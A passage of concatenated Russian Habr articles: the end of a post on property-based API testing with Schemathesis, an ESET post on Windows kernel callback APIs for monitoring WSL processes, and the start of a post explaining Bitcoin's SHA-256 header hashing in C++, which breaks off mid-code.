* Генерация схем из WSGI приложений;
* Более глубокая интеграция со стороны приложений;
* Генерация входных данных с обратной связью, основанной на покрытии кода или других параметрах;
Даже в текущем состоянии Schemathesis помог нам улучшить наши приложения и бороться с определенными типами дефектов. Далее я покажу несколько примеров того как это работает и какие типы ошибок можно найти. Для этой цели я создал приложение которое предоставляет простое API для бронирования, исходники можно найти здесь[<https://github.com/Stranger6667/schemathesis-example>](https://github.com/Stranger6667/schemathesis-example). В нем есть ошибки, которые не всегда очевидны на первый взгляд и мы найдем их при помощи Schemathesis.
В примере два эндпоинта:
* `POST /api/bookings` — создать новое бронирование
* `GET /api/bookings/{booking_id}/` — получить бронирование по ID
Далее в тексте я подразумеваю, что этот проект запущен на `127.0.0.1:8080`.
Schemathesis может быть использован в качестве command-line приложения или в Python тестах, обе возможности имеют свои преимущества и недостатки, о которых я расскажу далее.
Давайте начнем с командной строки и попробуем создать новое бронирование. Модель Booking имеет всего несколько полей:
Open API 3 схема Booking модели
Определение таблицы в базе.
Соответствующий Python код
Вы заметили дефект который может привести к необработанной ошибке?
Нужно запустить Schemathesis и указать нужный нам эндпоинт:
```
$ schemathesis run
-M POST
-E /bookings/
http://0.0.0.0:8080/api/openapi.json
```
Эти две опции, `--method` и `--endpoint` позволяют вам запускать тесты только для интересных вам эндпоинтов.
![](https://habrastorage.org/r/w1560/webt/lq/jp/bo/lqjpbojstkgjw8ql5ukd5sm-t5m.png)
Schemathesis CLI сгенерирует простой Python код, для того чтобы ошибку можно было легко воспроизвести, а также сохранит её во внутренней базе данных Hypothesis, чтобы использовать её в последующих запусках. На стороне сервера мы увидим проблемный параметр в тексте исключения:
```
File "/example/views.py", line 13, in create_booking
request.app["db"], booking_id=body["id"], name=body["name"], is_active=body["is_active"]
KeyError: 'id'
```
Чтобы исправить ошибку, нам необходимо сделать `id` и другие параметры обязательными в схеме.
Давайте перезапустим последнюю команду и проверим всё ли хорошо:
![](https://habrastorage.org/r/w1560/webt/ut/gp/dp/utgpdpdppx1hzmmwbn0ylyhkloy.png)
Снова ошибка! На стороне сервера такой вывод:
```
asyncpg.exceptions.UniqueViolationError: duplicate key value violates unique constraint "bookings_pkey"
DETAIL: Key (id)=(0) already exists.
```
Кажется, что я не рассмотрел ситуацию когда пользователь пытается создать бронирование с тем же ID дважды! Но, такого рода проблемы распространены на продакшене — двойные клики, повторные запросы при ошибках и т.д.
Мы часто не представляем как наши приложения будут использоваться после деплоя, но PBT может помочь с поиском логики которая отсутствует в реализации.
Так же, Schemathesis позволяет использовать свой функционал в обычных Python тестах. Второй эндпоинт нашего примера может выглядеть простым — взять запись из базы данных и сериализовать. Но он так же содержит ошибку.
Определения Open API 3
Центральный элемент использования Schemathesis это экземпляр схемы. Он предоставляет параметризацию схемы, выбор эндпоинтов для тестов и другие опции настройки.
Существует несколько способов создать схему и все они имеют такой паттерн — `schemathesis.from_`. Обычно, намного удобнее иметь приложение как `pytest` фикстуру, чтобы запускать его когда необходимо (и `schemathesis.from_pytest_fixture` как раз для этого и существует), но для простоты я продолжу использовать приложение запущенное локально на 8080 порту:
Каждый тест с декоратором schema.parametrize должен принимать case фикстуру в качестве аргумента, которая содержит все атрибуты требуемые схемой и дополнительную информацию чтобы делать нужные запросы по сети. Фикстура выглядит примерно так:
```
>>> case
Case(
path='/bookings/{booking_id}',
method='GET',
base_url='[http://0.0.0.0:8080/api'](http://0.0.0.0:8080/api%27),
path_parameters={'booking_id': 2147483648},
headers={},
cookies={},
query={},
body=None,
form_data={}
)
```
`Case.call()` делает сетевой запрос с этими данными к запущенному приложению при помощи `requests`.
Тесты можно запускать при помощи `pytest` (стандартный `unittest` тоже поддерживается):
```
$ pytest test_example.py -v
```
![](https://habrastorage.org/r/w1560/webt/na/wm/dg/nawmdgl_sqqawpg4kzype9xy6_0.png)
Исключение на стороне сервера:
```
asyncpg.exceptions.DataError:
invalid input for query argument $1: 2147483648 (value out of int32 range)
```
Выход указывает на проблему с недостаточной валидацие входных данных, исправить можно добавив минимальное и максимальное значение в схему. Наличие `format: int32` недостаточно — согласно спецификации это всего лишь подсказка.
---
Приложение в примере слишком упрощено и не имеет многого функционала, необходимого на продакшене, такого как авторизация, мониторинг и так далее. Тем не менее, Schemathesis и property-based тестирование в целом могут обнаружить широкий спектр ошибок в приложениях. Небольшое резюме предыдущих абзацев и несколько других примеров:
* Отсутствие логики обработки нестандартных сценариев;
* Повреждение данных (из-за отсутствия должной валидации);
* DoS атаки (например из-за неудачного регулярного выражения);
* Ошибки в реализации клиентского кода (например из-за возможности присылать произвольный набор полей на вход приложения);
* Другие ошибки приводящие к падению приложения.
Эти проблемы имеют разный уровень опасности, но, даже небольшие ошибки могут заполонить ваш трекер ошибок и появиться в ваших уведомлениях. Я сталкивался с ошибками вроде указанных выше на продакшене и я предпочитаю поправить их как можно раньше, чем быть разбуженным PagerDuty посреди ночи.
Существует множество вещей которые можно улучшить в этих областях и я хочу предложить вам поучаствовать в разработке `Schemathesis`, `Hypothesis`, `hypothesis-jsonschema` или `pytest`, все они являются проектами с открытым исходным кодом. Ссылки на проекты указаны ниже.
Спасибо за внимание!
У проекта есть свой Gitter чат, в котором можно задать пообщаться с нами и оставить фидбек — <https://gitter.im/kiwicom/schemathesis>
**Ссылки**:
* [Apispec](https://github.com/marshmallow-code/apispec)
* [Connexion](https://github.com/zalando/connexion)
* [Zally](https://github.com/zalando/zally)
* [QuickCheck](http://hackage.haskell.org/package/QuickCheck)
* [Hypothesis](https://github.com/HypothesisWorks/hypothesis)
* [Swagger-conformance](https://github.com/olipratt/swagger-conformance)
* [Hypothesis-jsonschema](https://github.com/Zac-HD/hypothesis-jsonschema)
* [Schemathesis](https://github.com/kiwicom/schemathesis)
* [Example project](https://github.com/Stranger6667/schemathesis-example) | https://habr.com/ru/post/478114/ | null | ru | null |
# Microsoft предоставит антивирусам возможность контроля за активностью подсистемы Linux на Windows 10
В предыдущих постах нашего корпоративного блога мы несколько раз [касались](https://habrahabr.ru/company/eset/blog/280584/) темы поддержки подсистемы Linux на Windows 10 (WSL), а также [описывали](https://habrahabr.ru/company/eset/blog/302976/) особенности ее технической реализации. Бета-версия этой подсистемы была доставлена пользователям в выключенном виде в рамках обновления Windows 10 Redstone 1 (Anniversary Update) в августе этого года.
![](https://habrastorage.org/r/w780q1/files/fba/9f6/67a/fba9f667abf5406fae4b3b046f7bb9e2.jpeg)
Недавно Microsoft начала [анонсировать](https://blogs.msdn.microsoft.com/wsl/2016/11/01/wsl-antivirus-and-firewall-compatibility/) изменения в ядре Windows, которые помогут AV-драйверам правильным образом работать с процессами подсистемы Linux, в контексте которых запускаются исполняемые ELF-файлы.
Известно, что до появления механизмов функций обратного вызова для контроля за различными операциями в режиме ядра, авторы драйверов брандмауэров и антивирусов использовали перехваты API-вызовов в системной таблице вызовов *KiServiceTable*, которую можно было обнаружить с использованием экспортируемой ядром переменной *KeServiceDescriptorTable*. С появлением новых уже документированных API-вызовов для регистрации callback-функций, разработчики перешли на их использование. К тому же 64-разрядные версии Windows не позволяли просто так перехватывать сервисы *KiServiceTable* изначально.
![](https://habrastorage.org/r/w1560/files/691/fc9/69f/691fc969f37b41a69c6b6aaae1622d9b.png)
Рис. Архитектура файловой системы WSL. Видно, что LXCore.sys эмулирует различные объекты Linux с использованием функций ядра Windows.
Одной из основных операций, которая контролируется антивирусами или HIPS является создание процессов и потоков. Драйвер может зарегистрировать функцию обратного вызова с помощью *PsSetCreateProcessNotifyRoutineEx*, а также *PsSetCreateThreadNotifyRoutine*. После этого при создании процессов или потоков в процессе, драйвер будет получать уведомление об этой операции. Microsoft модернизировала эти функции, добавив API *PsSetCreateProcessNotifyRoutineEx2* и *PsSetCreateThreadNotifyRoutineEx*. Эти API-функции ядра помогут драйверам отслеживать активность внутри процессов подсистемы Linux.
```
Type = PsCreateProcessNotifySubsystems; //новый тип уведомлений
Status = PsSetCreateProcessNotifyRoutineEx2(Type, Callback,TRUE); //новая API
void Callback (_In_ HANDLE ParentId, _In_ HANDLE ProcessId, _Inout_opt_ PPS_CREATE_NOTIFY_INFO CreateInfo) {
if (CreateInfo->Flags.IsSubsystemProcess == 0) {
/* Код оригинального обработчика callback */
} else {
Type = ProcessSubsystemInformation;
Status = NtQueryInformationProcess(ProcessHandle, Type, &Subsystem, sizeof(Subsystem), NULL);
if (Subsystem == SubsystemInformationTypeWSL) {
/* Новый код для обработки создания процессов WSL */
}
}
}
```
```
Type = PsCreateThreadNotifySubsystems; //новый тип уведомлений
Status = PsSetCreateThreadNotifyRoutineEx(Type, Callback); //новая API
void Callback (_In_ HANDLE ProcssId, _In_ HANDLE ThreadId, _In_ BOOLEAN Create) {
Type = ThreadSubsystemInformation;
Status = NtQueryInformationThread(ThreadHandle, Type, &Subsystem, sizeof(Subsystem), NULL);
if (Subsystem == SubsystemInformationTypeWin32) {
/* Код оригинального обработчика callback */
} else if (Subsystem == SubsystemInformationTypeWSL) {
/* Новый код для обработки создания процессов WSL */
}
}
```
» [Microsoft опубликовала информацию о реализации VFS в подсистеме Linux на Windows 10](https://habrahabr.ru/company/eset/blog/303438/)
» [Microsoft раскрыла технические аспекты реализации подсистемы Linux в Windows 10](https://habrahabr.ru/company/eset/blog/302976/)
» [Microsoft подтвердила слухи об интеграции подсистемы Linux в Windows 10](https://habrahabr.ru/company/eset/blog/280584/)
» [Включение подсистемы Linux в Windows 10](https://habrahabr.ru/company/eset/blog/281418/) | https://habr.com/ru/post/314476/ | null | ru | null |
# Вероятностный метод майнинга Bitcoin
![](https://habrastorage.org/r/w780q1/webt/oi/lh/dt/oilhdtkhhgrgz2gpjy00mjrxhaq.jpeg)
Думаю немного бреда на вторник не сильно повредит рабочей неделе. У меня хобби, на досуге я пытаюсь придумать, как взломать алгоритм майнинга bitcoin, избежать тупого перебора нонсе и находить решение задачи подбора хэша с минимальным расходом энергии. Сразу скажу результата я, конечно, пока не достиг, но тем не менее, почему бы не изложить в письменном виде идеи, которые рождаются в голове? Куда-то же их нужно девать…
Несмотря на бредовость изложенных ниже идей я думаю эта статья может быть полезна тому, кто изучает
1. язык C++ и его темплейты
2. немного цифровой схемотехники
3. немного теории вероятности и вероятностной арифметики
4. детально алгоритм хэширования bitcoin
С чего начнем?
Может с последнего и самого скучного пункта этого списка? Потерпите, дальше будет веселее.
Рассмотрим детально алгоритм вычисления хэширующей функции bitcoin. Она простая F(x)=sha256(sha256(x)), где x — это входные данные 80 байт, заголовок блока вместе с номером версии блока, prev block hash, merkle root, timestamp, bits и nonce. Вот примеры довольно свежих заголовков блоков, которые передаются хэширующей функции:
```
//blk=533522
0x00,0x00,0x00,0x20,
0x6d,0xa5,0xdd,0xb5,0x78,0x04,0x08,0x80,0xae,0x3d,0xed,0xc5,0x8e,0xe9,0x74,0x93,0x93,0x6d,0x6a,0xf4,0x0e,0x80,0x30,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0xdf,0x3e,0xb0,0xf4,0x92,0xbf,0xe9,0xb8,0xc8,0x12,0x1f,0x84,0xdd,0x35,0xe1,0x38,0x09,0xcc,0x28,0xc2,0x33,0x53,0x90,0x4e,0x15,0x49,0x5e,0xc7,0xb0,0x78,0x35,0x91,
0x82,0xDB,0x57,0x5B,
0x17,0x5A,0x36,0x17,
0xAA,0x02,0x44,0x22,
//blk=533523
0x00,0x00,0x00,0x20,
0x6a,0x27,0x37,0xc3,0x1f,0x68,0xf8,0xe3,0x03,0xa3,0x5d,0xff,0x2d,0x97,0x39,0xaf,0x81,0xa2,0xf5,0xf0,0x7c,0xdb,0x34,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0xa1,0xb8,0x4f,0x75,0x66,0xf3,0xf3,0x8e,0x78,0xf7,0xa2,0xa2,0xa2,0x19,0xa1,0x18,0x45,0xfa,0x58,0x53,0xe4,0x05,0x50,0x12,0x57,0xa1,0xab,0x2c,0x39,0xe6,0x1f,0x63,
0xA0,0xDB,0x57,0x5B,
0x17,0x5A,0x36,0x17,
0x84,0x7B,0x86,0xE7,
//blk=533524
0x00,0x00,0x00,0x20,
0xb3,0xc7,0xaa,0x07,0x26,0xdb,0xe8,0x58,0x19,0xa8,0xb9,0x53,0x08,0x62,0x8b,0xca,0x58,0x00,0x69,0x64,0x58,0x69,0x1a,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x4e,0xfc,0xf4,0x5c,0xad,0x31,0x44,0x5b,0xb1,0x13,0x80,0x03,0xe0,0xfd,0x04,0x24,0x86,0xcc,0x7a,0x8c,0xa7,0x7c,0x30,0x60,0x05,0x6f,0x43,0xcf,0x25,0x45,0x8f,0xd8,
0x80,0xDE,0x57,0x5B,
0x17,0x5A,0x36,0x17,
0xF7,0x2B,0x3B,0x42,
```
Этот набор байтов довольно ценный материал, так как зачастую по исходникам майнеров не просто понять в каком порядке должны следовать байты при формировании заголовка, часто применяется разворот местами младших и старших байт (endians).
Итак, от заголовка блока, 80 байт считается хэш sha256 и потом от результата еще sha256.
Сам по себе алгоритм sha256, если посмотреть в разных источниках обычно состоит из четырех функций:
1. void sha256\_init(SHA256\_CTX \*ctx);
2. void sha256\_transform(SHA256\_CTX \*ctx, const BYTE data[]);
3. void sha256\_update(SHA256\_CTX \*ctx, const BYTE data[], size\_t len);
4. void sha256\_final(SHA256\_CTX \*ctx, BYTE hash[]);
Первая функция, которая вызывается при расчете хэша — это sha256\_init(), приводит в исходное состояние структуру SHA256\_CTX. Там так то особо ничего нет важного кроме восьми 32х битных слова state, которые изначально заполняются специальными словами:
```
void sha256_init(SHA256_CTX *ctx)
{
ctx->datalen = 0;
ctx->bitlen = 0;
ctx->state[0] = 0x6a09e667;
ctx->state[1] = 0xbb67ae85;
ctx->state[2] = 0x3c6ef372;
ctx->state[3] = 0xa54ff53a;
ctx->state[4] = 0x510e527f;
ctx->state[5] = 0x9b05688c;
ctx->state[6] = 0x1f83d9ab;
ctx->state[7] = 0x5be0cd19;
}
```
Предположим у нас есть файл, хэш которого нужно посчитать. Читаем файл блоками произвольного размера и вызываем функцию sha256\_update() куда передаем указатель на данные блока и длину блока. Функция накапливает хэш в структуре SHA256\_CTX в массиве state:
```
void sha256_update(SHA256_CTX *ctx, const BYTE data[], size_t len)
{
uint32_t i;
for (i = 0; i < len; ++i) {
ctx->data[ctx->datalen] = data[i];
ctx->datalen++;
if (ctx->datalen == 64) {
sha256_transform(ctx, ctx->data);
ctx->bitlen += 512;
ctx->datalen = 0;
}
}
}
```
Сама по себе sha256\_update() вызывает функцию рабочую лошадку sha256\_transform(), которая принимает уже блоки только фиксированной длины по 64 байта:
```
/****************************** MACROS ******************************/
#define ROTLEFT(a,b) (((a) << (b)) | ((a) >> (32-(b))))
#define ROTRIGHT(a,b) (((a) >> (b)) | ((a) << (32-(b))))
#define CH(x,y,z) (((x) & (y)) ^ (~(x) & (z)))
#define MAJ(x,y,z) (((x) & (y)) ^ ((x) & (z)) ^ ((y) & (z)))
#define EP0(x) (ROTRIGHT(x,2) ^ ROTRIGHT(x,13) ^ ROTRIGHT(x,22))
#define EP1(x) (ROTRIGHT(x,6) ^ ROTRIGHT(x,11) ^ ROTRIGHT(x,25))
#define SIG0(x) (ROTRIGHT(x,7) ^ ROTRIGHT(x,18) ^ ((x) >> 3))
#define SIG1(x) (ROTRIGHT(x,17) ^ ROTRIGHT(x,19) ^ ((x) >> 10))
/**************************** VARIABLES *****************************/
static const uint32_t k[64] = {
0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,
0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,
0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,
0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,
0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,
0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,
0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,
0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2
};
/*********************** FUNCTION DEFINITIONS ***********************/
void sha256_transform(SHA256_CTX *ctx, const BYTE data[])
{
uint32_t a, b, c, d, e, f, g, h, i, j, t1, t2, m[64];
for (i = 0, j = 0; i < 16; ++i, j += 4)
m[i] = (data[j] << 24) | (data[j + 1] << 16) | (data[j + 2] << 8) | (data[j + 3]);
for (; i < 64; ++i)
m[i] = SIG1(m[i - 2]) + m[i - 7] + SIG0(m[i - 15]) + m[i - 16];
a = ctx->state[0];
b = ctx->state[1];
c = ctx->state[2];
d = ctx->state[3];
e = ctx->state[4];
f = ctx->state[5];
g = ctx->state[6];
h = ctx->state[7];
for (i = 0; i < 64; ++i) {
t1 = h + EP1(e) + CH(e, f, g) + k[i] + m[i];
t2 = EP0(a) + MAJ(a, b, c);
h = g;
g = f;
f = e;
e = d + t1;
d = c;
c = b;
b = a;
a = t1 + t2;
}
ctx->state[0] += a;
ctx->state[1] += b;
ctx->state[2] += c;
ctx->state[3] += d;
ctx->state[4] += e;
ctx->state[5] += f;
ctx->state[6] += g;
ctx->state[7] += h;
}
```
Когда хэшируемый файл весь считан и уже передан в функцию sha256\_update() остается только вызвать завершающую функцию sha256\_final(), которая если размер файла был не кратен 64 байтам, то добавит дополнительные padding байты, впишет в конец последнего блока данных общую длину данных в битах и сделает финальный sha256\_transform().
Результат хэширования остается в массиве state.
Это так сказать «высокий уровень».
Применительно к майнеру биткоина, конечно разработчики думают как бы считать поменьше да поэффективней.
Все просто: заголовок содержит всего 80 байт, что не кратно 64 байтам. Таким образом нужно было бы для первого sha256 уже делать два sha256\_transform(). Однако по счастью для майнеров, nonce блока находится в конце заголовка, значит первый sha256\_transform() можно выполнить всего один раз — это будет так называемый midstate. Далее майнер перебирает все варианты нонсе, которых 4 миллиарда, 2^32 и подставляет их в соответствующее поле для второго sha256\_transform(). Этот трансформ завершает первую функцию sha256. Ее результат — это восемь 32х битных слов, то есть 32 байта. От них найти sha256 просто — вызывается завершающий sha256\_transform() и все — готово. Заметьте, что входные данные 32 байта меньше по размеру, чем нужные для sha256\_transform() 64 байта. Значит опять блок будет дополнен нулями и в конец будет вписана длина блока.
Итого всего три вызова sha256\_transform() из которых первый нужно считать только один раз для вычисления midstate.
Я попытался развернуть все манипуляции с данными происходящие при вычислении хэша заголовка блока биткоина в единую функцию, так, чтобы было понятно, как происходит все вычисление конкретно для биткоина и вот что получилось:
```
//get bitcoin header via ptr to 80 bytes and calc hash
template
void full\_btc\_hash(const uint8\_t\* ptr80, T nonce, T\* presult)
{
//-1------------------------------------------
//init sha256 state s[7:0]
T s[16];
for (int i = 0; i < 8; i++) {
s[i] = sha256\_init\_state[i];
presult[i] = sha256\_init\_state[i];
}
uint8\_t tail2[] = {
0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
};
uint32\_t\* p = (uint32\_t\*)tail2;
for (int i = 0; i < 8; i++) {
s[i + 8] = ntohl(p[i]);
}
//get first block for sha256
uint8\_t tail[] = { /\* 2nd sha256 block padding \*/
0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x80
};
T blk1[32];
p = (uint32\_t\*)ptr80;
for (int i = 0; i < 19; i++) {
blk1[i] = ntohl(p[i]);
}
//put nonce here
blk1[19] = nonce;
p = (uint32\_t\*)tail;
for (int i = 0; i < 12; i++) {
blk1[i + 20] = ntohl(p[i]);
}
sha256\_transform(s, &blk1[0]); //warning! this can be called only once and produce MIDSTATE
sha256\_transform(s, &blk1[16]);
sha256\_transform(presult, s);
}
```
Я реализовал эту функцию как c++ template, она у меня может оперировать не просто 32х битными словами скажем uint32\_t, но точно так же оперировать словами иного типа «T». У меня здесь и состояние sha256 хранится в виде массива типа «T» и sha256\_transform() вызывается с параметром указателем на массив типа «T» и результат возвращается такой же. Трансформ функция теперь тоже в виде c++ template:
```
template
T ror32(T word, unsigned int shift)
{
return (word >> shift) | (word << (32 - shift));
}
template
T Ch(T x, T y, T z)
{
return z ^ (x & (y ^ z));
}
template
T Maj(T x, T y, T z)
{
return (x & y) | (z & (x | y));
}
#define e0(x) (ror32(x, 2) ^ ror32(x,13) ^ ror32(x,22))
#define e1(x) (ror32(x, 6) ^ ror32(x,11) ^ ror32(x,25))
#define s0(x) (ror32(x, 7) ^ ror32(x,18) ^ (x >> 3))
#define s1(x) (ror32(x,17) ^ ror32(x,19) ^ (x >> 10))
unsigned int ntohl(unsigned int in)
{
return ((in & 0xff) << 24) | ((in & 0xff00) << 8) | ((in & 0xff0000) >> 8) | ((in & 0xff000000) >> 24);
}
template
void LOAD\_OP(int I, T \*W, const u8 \*input)
{
//W[I] = /\*ntohl\*/ (((u32\*)(input))[I]);
W[I] = ntohl(((u32\*)(input))[I]);
//W[I] = (input[3] << 24) | (input[2] << 16) | (input[1] << 8) | (input[0]);
}
template
void BLEND\_OP(int I, T \*W)
{
W[I] = s1(W[I - 2]) + W[I - 7] + s0(W[I - 15]) + W[I - 16];
}
template
void sha256\_transform(T \*state, const T \*input)
{
T a, b, c, d, e, f, g, h, t1, t2;
T W[64];
int i;
/\* load the input \*/
for (i = 0; i < 16; i++) // MJ input is cast to u32\* so this processes 16 DWORDS = 64 bytes
W[i] = input[i];
/\* now blend \*/
for (i = 16; i < 64; i++)
BLEND\_OP(i, W);
/\* load the state into our registers \*/
a = state[0]; b = state[1]; c = state[2]; d = state[3];
e = state[4]; f = state[5]; g = state[6]; h = state[7];
//
t1 = h + e1(e) + Ch(e, f, g) + 0x428a2f98 + W[0];
t2 = e0(a) + Maj(a, b, c); d += t1; h = t1 + t2;
t1 = g + e1(d) + Ch(d, e, f) + 0x71374491 + W[1];
t2 = e0(h) + Maj(h, a, b); c += t1; g = t1 + t2;
t1 = f + e1(c) + Ch(c, d, e) + 0xb5c0fbcf + W[2];
t2 = e0(g) + Maj(g, h, a); b += t1; f = t1 + t2;
t1 = e + e1(b) + Ch(b, c, d) + 0xe9b5dba5 + W[3];
t2 = e0(f) + Maj(f, g, h); a += t1; e = t1 + t2;
t1 = d + e1(a) + Ch(a, b, c) + 0x3956c25b + W[4];
t2 = e0(e) + Maj(e, f, g); h += t1; d = t1 + t2;
t1 = c + e1(h) + Ch(h, a, b) + 0x59f111f1 + W[5];
t2 = e0(d) + Maj(d, e, f); g += t1; c = t1 + t2;
t1 = b + e1(g) + Ch(g, h, a) + 0x923f82a4 + W[6];
t2 = e0(c) + Maj(c, d, e); f += t1; b = t1 + t2;
t1 = a + e1(f) + Ch(f, g, h) + 0xab1c5ed5 + W[7];
t2 = e0(b) + Maj(b, c, d); e += t1; a = t1 + t2;
t1 = h + e1(e) + Ch(e, f, g) + 0xd807aa98 + W[8];
t2 = e0(a) + Maj(a, b, c); d += t1; h = t1 + t2;
t1 = g + e1(d) + Ch(d, e, f) + 0x12835b01 + W[9];
t2 = e0(h) + Maj(h, a, b); c += t1; g = t1 + t2;
t1 = f + e1(c) + Ch(c, d, e) + 0x243185be + W[10];
t2 = e0(g) + Maj(g, h, a); b += t1; f = t1 + t2;
t1 = e + e1(b) + Ch(b, c, d) + 0x550c7dc3 + W[11];
t2 = e0(f) + Maj(f, g, h); a += t1; e = t1 + t2;
t1 = d + e1(a) + Ch(a, b, c) + 0x72be5d74 + W[12];
t2 = e0(e) + Maj(e, f, g); h += t1; d = t1 + t2;
t1 = c + e1(h) + Ch(h, a, b) + 0x80deb1fe + W[13];
t2 = e0(d) + Maj(d, e, f); g += t1; c = t1 + t2;
t1 = b + e1(g) + Ch(g, h, a) + 0x9bdc06a7 + W[14];
t2 = e0(c) + Maj(c, d, e); f += t1; b = t1 + t2;
t1 = a + e1(f) + Ch(f, g, h) + 0xc19bf174 + W[15];
t2 = e0(b) + Maj(b, c, d); e += t1; a = t1 + t2;
t1 = h + e1(e) + Ch(e, f, g) + 0xe49b69c1 + W[16];
t2 = e0(a) + Maj(a, b, c); d += t1; h = t1 + t2;
t1 = g + e1(d) + Ch(d, e, f) + 0xefbe4786 + W[17];
t2 = e0(h) + Maj(h, a, b); c += t1; g = t1 + t2;
t1 = f + e1(c) + Ch(c, d, e) + 0x0fc19dc6 + W[18];
t2 = e0(g) + Maj(g, h, a); b += t1; f = t1 + t2;
t1 = e + e1(b) + Ch(b, c, d) + 0x240ca1cc + W[19];
t2 = e0(f) + Maj(f, g, h); a += t1; e = t1 + t2;
t1 = d + e1(a) + Ch(a, b, c) + 0x2de92c6f + W[20];
t2 = e0(e) + Maj(e, f, g); h += t1; d = t1 + t2;
t1 = c + e1(h) + Ch(h, a, b) + 0x4a7484aa + W[21];
t2 = e0(d) + Maj(d, e, f); g += t1; c = t1 + t2;
t1 = b + e1(g) + Ch(g, h, a) + 0x5cb0a9dc + W[22];
t2 = e0(c) + Maj(c, d, e); f += t1; b = t1 + t2;
t1 = a + e1(f) + Ch(f, g, h) + 0x76f988da + W[23];
t2 = e0(b) + Maj(b, c, d); e += t1; a = t1 + t2;
t1 = h + e1(e) + Ch(e, f, g) + 0x983e5152 + W[24];
t2 = e0(a) + Maj(a, b, c); d += t1; h = t1 + t2;
t1 = g + e1(d) + Ch(d, e, f) + 0xa831c66d + W[25];
t2 = e0(h) + Maj(h, a, b); c += t1; g = t1 + t2;
t1 = f + e1(c) + Ch(c, d, e) + 0xb00327c8 + W[26];
t2 = e0(g) + Maj(g, h, a); b += t1; f = t1 + t2;
t1 = e + e1(b) + Ch(b, c, d) + 0xbf597fc7 + W[27];
t2 = e0(f) + Maj(f, g, h); a += t1; e = t1 + t2;
t1 = d + e1(a) + Ch(a, b, c) + 0xc6e00bf3 + W[28];
t2 = e0(e) + Maj(e, f, g); h += t1; d = t1 + t2;
t1 = c + e1(h) + Ch(h, a, b) + 0xd5a79147 + W[29];
t2 = e0(d) + Maj(d, e, f); g += t1; c = t1 + t2;
t1 = b + e1(g) + Ch(g, h, a) + 0x06ca6351 + W[30];
t2 = e0(c) + Maj(c, d, e); f += t1; b = t1 + t2;
t1 = a + e1(f) + Ch(f, g, h) + 0x14292967 + W[31];
t2 = e0(b) + Maj(b, c, d); e += t1; a = t1 + t2;
t1 = h + e1(e) + Ch(e, f, g) + 0x27b70a85 + W[32];
t2 = e0(a) + Maj(a, b, c); d += t1; h = t1 + t2;
t1 = g + e1(d) + Ch(d, e, f) + 0x2e1b2138 + W[33];
t2 = e0(h) + Maj(h, a, b); c += t1; g = t1 + t2;
t1 = f + e1(c) + Ch(c, d, e) + 0x4d2c6dfc + W[34];
t2 = e0(g) + Maj(g, h, a); b += t1; f = t1 + t2;
t1 = e + e1(b) + Ch(b, c, d) + 0x53380d13 + W[35];
t2 = e0(f) + Maj(f, g, h); a += t1; e = t1 + t2;
t1 = d + e1(a) + Ch(a, b, c) + 0x650a7354 + W[36];
t2 = e0(e) + Maj(e, f, g); h += t1; d = t1 + t2;
t1 = c + e1(h) + Ch(h, a, b) + 0x766a0abb + W[37];
t2 = e0(d) + Maj(d, e, f); g += t1; c = t1 + t2;
t1 = b + e1(g) + Ch(g, h, a) + 0x81c2c92e + W[38];
t2 = e0(c) + Maj(c, d, e); f += t1; b = t1 + t2;
t1 = a + e1(f) + Ch(f, g, h) + 0x92722c85 + W[39];
t2 = e0(b) + Maj(b, c, d); e += t1; a = t1 + t2;
t1 = h + e1(e) + Ch(e, f, g) + 0xa2bfe8a1 + W[40];
t2 = e0(a) + Maj(a, b, c); d += t1; h = t1 + t2;
t1 = g + e1(d) + Ch(d, e, f) + 0xa81a664b + W[41];
t2 = e0(h) + Maj(h, a, b); c += t1; g = t1 + t2;
t1 = f + e1(c) + Ch(c, d, e) + 0xc24b8b70 + W[42];
t2 = e0(g) + Maj(g, h, a); b += t1; f = t1 + t2;
t1 = e + e1(b) + Ch(b, c, d) + 0xc76c51a3 + W[43];
t2 = e0(f) + Maj(f, g, h); a += t1; e = t1 + t2;
t1 = d + e1(a) + Ch(a, b, c) + 0xd192e819 + W[44];
t2 = e0(e) + Maj(e, f, g); h += t1; d = t1 + t2;
t1 = c + e1(h) + Ch(h, a, b) + 0xd6990624 + W[45];
t2 = e0(d) + Maj(d, e, f); g += t1; c = t1 + t2;
t1 = b + e1(g) + Ch(g, h, a) + 0xf40e3585 + W[46];
t2 = e0(c) + Maj(c, d, e); f += t1; b = t1 + t2;
t1 = a + e1(f) + Ch(f, g, h) + 0x106aa070 + W[47];
t2 = e0(b) + Maj(b, c, d); e += t1; a = t1 + t2;
t1 = h + e1(e) + Ch(e, f, g) + 0x19a4c116 + W[48];
t2 = e0(a) + Maj(a, b, c); d += t1; h = t1 + t2;
t1 = g + e1(d) + Ch(d, e, f) + 0x1e376c08 + W[49];
t2 = e0(h) + Maj(h, a, b); c += t1; g = t1 + t2;
